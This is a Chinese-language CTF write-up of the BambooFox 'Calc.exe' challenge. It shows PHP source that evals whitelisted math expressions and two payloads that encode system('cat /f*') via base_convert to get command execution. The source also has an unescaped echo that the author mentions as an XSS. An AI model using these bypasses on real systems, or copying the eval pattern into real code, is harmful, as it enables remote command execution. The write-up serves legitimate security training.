###### tags: `BambooFox` `Web`
# [CTF][Web][BambooFox] Calc.exe
題目連結:[Link](http://chall.ctf.bamboofox.tw:13377/)
0x01
==
> 題目畫面

> 執行結果

> Source
```
<?php
error_reporting(0);
isset($_GET['source']) && die(highlight_file(__FILE__));
function is_safe($query)
{
$query = strtolower($query);
preg_match_all("/([a-z_]+)/", $query, $words);
$words = $words[0];
$good = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh', 'ncr', 'npr', 'number_format'];
$accept_chars = '_abcdefghijklmnopqrstuvwxyz0123456789.!^&|+-*/%()[],';
$accept_chars = str_split($accept_chars);
$bad = '';
for ($i = 0; $i < count($words); $i++) {
if (strlen($words[$i]) && array_search($words[$i], $good) === false) {
$bad .= $words[$i] . " ";
}
}
for ($i = 0; $i < strlen($query); $i++) {
if (array_search($query[$i], $accept_chars) === false) {
$bad .= $query[$i] . " ";
}
}
return $bad;
}
function safe_eval($code)
{
if (strlen($code) > 1024) return "Expression too long.";
$code = strtolower($code);
$bad = is_safe($code);
$res = '';
if (strlen(str_replace(' ', '', $bad)))
$res = "I don't like this: " . $bad;
else
eval('$res=' . $code . ";");
return $res;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bulma@0.9.1/css/bulma.min.css">
<script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script>
<title>Calc.exe online</title>
</head>
<style>
</style>
<body>
<section class="hero">
<div class="container">
<div class="hero-body">
<h1 class="title">Calc.exe Online</h1>
</div>
</div>
</section>
<div class="container" style="margin-top: 3em; margin-bottom: 3em;">
<div class="columns is-centered">
<div class="column is-8-tablet is-8-desktop is-5-widescreen">
<form>
<div class="field">
<div class="control">
<input class="input is-large" placeholder="1+1" type="text" name="expression" value="<?= $_GET['expression'] ?? '' ?>" />
</div>
</div>
</form>
</div>
</div>
<div class="columns is-centered">
<?php if (isset($_GET['expression'])) : ?>
<div class="card column is-8-tablet is-8-desktop is-5-widescreen">
<div class="card-content">
= <?= @safe_eval($_GET['expression']) ?>
</div>
</div>
<?php endif ?>
<a href="/?source"></a>
</div>
</div>
</body>
</html> 1
```
在程式碼中可以看見關鍵的幾行,例如白名單
```
//WhiteList
$good = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh', 'ncr', 'npr', 'number_format'];
$accept_chars = '_abcdefghijklmnopqrstuvwxyz0123456789.!^&|+-*/%()[],';
//Max Charter
if (strlen($code) > 1024) return "Expression too long.";
//Execute My Input
eval('$res=' . $code . ";");
```
總結出來我們只能使用白名單上的各類數學函式去拚出我們需要的ShellCode
並且輸入的size不超過1024(含),接著丟進eval執行我們輸入的東西
別人的寫法
===
>需要: ==print_r(shell_exec(cat /f*))==
Payload:
```
(base_convert(27118333,10,32).is_finite[2].floor[4])((base_convert(29932213,10,32).is_finite[2].exp[0].exp[1].base_convert(460,10,32))(base_convert(12859,10,32)(99).base_convert(12859,10,32)(97).base_convert(12859,10,32)(116).base_convert(12859,10,32)(32).base_convert(12859,10,32)(47).base_convert(12859,10,32)(102).base_convert(12859,10,32)(42)),1)
```
我的寫法
===
>需要: ==system(cat /f*)==
Payload:
```
(base_convert(28,10,36).base_convert(34,10,36).base_convert(28,10,36).base_convert(29,10,36).base_convert(14,10,36).base_convert(22,10,36))((base_convert(12,10,36).base_convert(10,10,36).base_convert(29,10,36)).(base_convert(12,10,36).base_convert(17,10,36).base_convert(27,10,36))(32).(base_convert(12,10,36).base_convert(17,10,36).base_convert(27,10,36))(47).base_convert(15,10,36).((base_convert(12,10,36).base_convert(17,10,36).base_convert(27,10,36))(42)))
```
Get Flag !
===

補充
===
> base_convert()是php中進位的函數,因16進位的英文字只有a-f而已,遠遠不夠我們需要用的
> 而0-9,a-z總共36個,36進位才充分滿足我們需要的結構
因為除了0-9,a-z以外的字元,我們都會使用chr()來彌補
而也可以只用一個function滿足一個函式,例如:
```
def base_convert(number, fromBase, toBase):
try:
# Convert number to base 10
base10 = int(number, fromBase)
except ValueError:
raise
if toBase < 2 or toBase > 36:
raise NotImplementedError
output_value = ''
digits = "0123456789abcdefghijklmnopqrstuvwxyz"
sign = ''
if base10 == 0:
return '0'
elif base10 < 0:
sign = '-'
base10 = -base10
# Convert to base toBase
s = ''
while base10 != 0:
r = base10 % toBase
r = int(r)
s = digits[r] + s
base10 //= toBase
output_value = sign + s
return output_value
if __name__ == "__main__":
tmp = 1 //任意更改,可依a的值去做大幅度增減
while(1):
a = base_convert(f"{tmp}",10,36)
print(a,tmp)
if a == "system":
break
else:
tmp += 1
```
由上述程式碼可得知,system=1751504350
base_convert(1751504350,10,36)=system
其實我當初還戳到XSS,但其實沒什麼用 ....
